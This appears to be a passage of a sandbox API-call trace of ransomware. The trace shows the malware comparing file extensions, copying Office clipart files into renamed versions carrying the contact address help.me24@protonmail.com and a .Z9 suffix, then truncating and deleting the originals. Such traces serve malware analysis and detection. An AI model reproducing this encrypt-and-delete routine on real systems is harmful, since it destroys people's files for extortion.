	[0095.858] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0095.858] lstrlenW (lpString=".7z") returned 3
	[0095.858] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0095.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0095.858] lstrlenW (lpString=".dbf") returned 4
	[0095.858] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0095.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0095.858] lstrlenW (lpString=".1cd") returned 4
	[0095.858] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0095.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0095.858] lstrlenW (lpString=".jpg") returned 4
	[0095.858] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0095.858] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0095.858] lstrlenW (lpString="J0086384.WMF") returned 12
	[0095.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0095.859] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=9734) returned 1
	[0095.859] CloseHandle (hObject=0x2bc) returned 1
	[0095.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf")) returned 0x220
	[0095.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0095.859] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.859] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0095.860] GetLastError () returned 0x0
	[0095.860] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x2606, lpOverlapped=0x0) returned 1
	[0095.861] WriteFile (in: hFile=0x398, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2610, lpOverlapped=0x0) returned 1
	[0095.868] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.868] WriteFile (in: hFile=0x398, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0095.868] SetEndOfFile (hFile=0x398) returned 1
	[0095.868] CloseHandle (hObject=0x398) returned 1
	[0095.868] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.868] SetEndOfFile (hFile=0x2bc) returned 1
	[0095.869] CloseHandle (hObject=0x2bc) returned 1
	[0095.869] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0095.869] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf")) returned 1
	[0095.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0095.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0095.869] lstrlenW (lpString=".doc") returned 4
	[0095.869] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.869] lstrlenW (lpString=".docx") returned 5
	[0095.869] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0095.869] lstrlenW (lpString=".pdf") returned 4
	[0095.869] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.870] lstrlenW (lpString=".xls") returned 4
	[0095.870] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.870] lstrlenW (lpString=".xlsx") returned 5
	[0095.870] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0095.870] lstrlenW (lpString=".ppt") returned 4
	[0095.870] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0095.870] lstrlenW (lpString=".zip") returned 4
	[0095.870] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.870] lstrlenW (lpString=".rar") returned 4
	[0095.870] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.870] lstrlenW (lpString=".bz2") returned 4
	[0095.870] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.870] lstrlenW (lpString=".7z") returned 3
	[0095.870] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0095.870] lstrlenW (lpString=".dbf") returned 4
	[0095.870] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0095.870] lstrlenW (lpString=".1cd") returned 4
	[0095.870] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0095.870] lstrlenW (lpString=".jpg") returned 4
	[0095.870] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0095.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0095.870] lstrlenW (lpString=".doc") returned 4
	[0095.870] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.870] lstrlenW (lpString=".docx") returned 5
	[0095.870] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0095.870] lstrlenW (lpString=".pdf") returned 4
	[0095.870] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.870] lstrlenW (lpString=".xls") returned 4
	[0095.870] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.870] lstrlenW (lpString=".xlsx") returned 5
	[0095.870] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0095.871] lstrlenW (lpString=".ppt") returned 4
	[0095.871] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0095.871] lstrlenW (lpString=".zip") returned 4
	[0095.871] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.871] lstrlenW (lpString=".rar") returned 4
	[0095.871] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.871] lstrlenW (lpString=".bz2") returned 4
	[0095.871] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.871] lstrlenW (lpString=".7z") returned 3
	[0095.871] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0095.871] lstrlenW (lpString=".dbf") returned 4
	[0095.871] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0095.871] lstrlenW (lpString=".1cd") returned 4
	[0095.871] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0095.871] lstrlenW (lpString=".jpg") returned 4
	[0095.871] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.871] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0095.871] lstrlenW (lpString="J0086420.WMF") returned 12
	[0095.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0095.872] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=9596) returned 1
	[0095.872] CloseHandle (hObject=0x2bc) returned 1
	[0095.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf")) returned 0x220
	[0095.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0095.872] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.872] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0096.107] GetLastError () returned 0x0
	[0096.107] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x257c, lpOverlapped=0x0) returned 1
	[0096.201] WriteFile (in: hFile=0x398, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2580, lpOverlapped=0x0) returned 1
	[0096.202] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0096.202] WriteFile (in: hFile=0x398, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0096.202] SetEndOfFile (hFile=0x398) returned 1
	[0096.273] CloseHandle (hObject=0x398) returned 1
	[0096.273] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.273] SetEndOfFile (hFile=0x2bc) returned 1
	[0096.274] CloseHandle (hObject=0x2bc) returned 1
	[0096.274] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0096.274] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf")) returned 1
	[0096.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0096.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0096.274] lstrlenW (lpString=".doc") returned 4
	[0096.274] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0096.274] lstrlenW (lpString=".docx") returned 5
	[0096.274] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0096.274] lstrlenW (lpString=".pdf") returned 4
	[0096.274] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0096.274] lstrlenW (lpString=".xls") returned 4
	[0096.274] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0096.274] lstrlenW (lpString=".xlsx") returned 5
	[0096.275] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0096.275] lstrlenW (lpString=".ppt") returned 4
	[0096.275] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0096.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0096.275] lstrlenW (lpString=".zip") returned 4
	[0096.275] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0096.275] lstrlenW (lpString=".rar") returned 4
	[0096.275] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0096.275] lstrlenW (lpString=".bz2") returned 4
	[0096.275] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0096.275] lstrlenW (lpString=".7z") returned 3
	[0096.275] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0096.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0096.275] lstrlenW (lpString=".dbf") returned 4
	[0096.275] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0096.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0096.275] lstrlenW (lpString=".1cd") returned 4
	[0096.275] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0096.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0096.275] lstrlenW (lpString=".jpg") returned 4
	[0096.275] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0096.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0096.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0096.275] lstrlenW (lpString=".doc") returned 4
	[0096.275] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0096.275] lstrlenW (lpString=".docx") returned 5
	[0096.275] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0096.275] lstrlenW (lpString=".pdf") returned 4
	[0096.275] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0096.275] lstrlenW (lpString=".xls") returned 4
	[0096.275] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0096.275] lstrlenW (lpString=".xlsx") returned 5
	[0096.275] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0096.275] lstrlenW (lpString=".ppt") returned 4
	[0096.275] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0096.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0096.276] lstrlenW (lpString=".zip") returned 4
	[0096.276] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0096.276] lstrlenW (lpString=".rar") returned 4
	[0096.276] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0096.276] lstrlenW (lpString=".bz2") returned 4
	[0096.276] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0096.276] lstrlenW (lpString=".7z") returned 3
	[0096.276] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0096.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0096.276] lstrlenW (lpString=".dbf") returned 4
	[0096.276] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0096.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0096.276] lstrlenW (lpString=".1cd") returned 4
	[0096.276] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0096.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0096.276] lstrlenW (lpString=".jpg") returned 4
	[0096.276] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0096.276] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0096.276] lstrlenW (lpString="J0089992.WMF") returned 12
	[0096.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0096.276] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=15680) returned 1
	[0096.277] CloseHandle (hObject=0x2bc) returned 1
	[0096.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf")) returned 0x220
	[0096.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0096.277] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.277] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0096.277] GetLastError () returned 0x0
	[0096.277] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x3d40, lpOverlapped=0x0) returned 1
	[0096.285] WriteFile (in: hFile=0x398, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x3d50, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x3d50, lpOverlapped=0x0) returned 1
	[0096.287] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0096.287] WriteFile (in: hFile=0x398, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0096.287] SetEndOfFile (hFile=0x398) returned 1
	[0096.287] CloseHandle (hObject=0x398) returned 1
	[0096.287] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.287] SetEndOfFile (hFile=0x2bc) returned 1
	[0096.288] CloseHandle (hObject=0x2bc) returned 1
	[0096.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0096.288] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf")) returned 1
	[0096.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0096.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0096.289] lstrlenW (lpString=".doc") returned 4
	[0096.289] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0096.289] lstrlenW (lpString=".docx") returned 5
	[0096.289] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0096.289] lstrlenW (lpString=".pdf") returned 4
	[0096.289] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0096.289] lstrlenW (lpString=".xls") returned 4
	[0096.289] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0096.289] lstrlenW (lpString=".xlsx") returned 5
	[0096.289] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0096.289] lstrlenW (lpString=".ppt") returned 4
	[0096.289] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0096.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0096.289] lstrlenW (lpString=".zip") returned 4
	[0096.289] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0096.289] lstrlenW (lpString=".rar") returned 4
	[0096.289] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0096.289] lstrlenW (lpString=".bz2") returned 4
	[0096.289] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0096.289] lstrlenW (lpString=".7z") returned 3
	[0096.289] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0096.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0096.289] lstrlenW (lpString=".dbf") returned 4
	[0096.289] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0096.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0096.289] lstrlenW (lpString=".1cd") returned 4
	[0096.289] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0096.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0096.289] lstrlenW (lpString=".jpg") returned 4
	[0096.289] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0096.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0096.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0096.290] lstrlenW (lpString=".doc") returned 4
	[0096.290] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0096.290] lstrlenW (lpString=".docx") returned 5
	[0096.290] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0096.290] lstrlenW (lpString=".pdf") returned 4
	[0096.290] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0096.290] lstrlenW (lpString=".xls") returned 4
	[0096.290] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0096.290] lstrlenW (lpString=".xlsx") returned 5
	[0096.290] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0096.290] lstrlenW (lpString=".ppt") returned 4
	[0096.290] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0096.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0096.290] lstrlenW (lpString=".zip") returned 4
	[0096.290] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0096.290] lstrlenW (lpString=".rar") returned 4
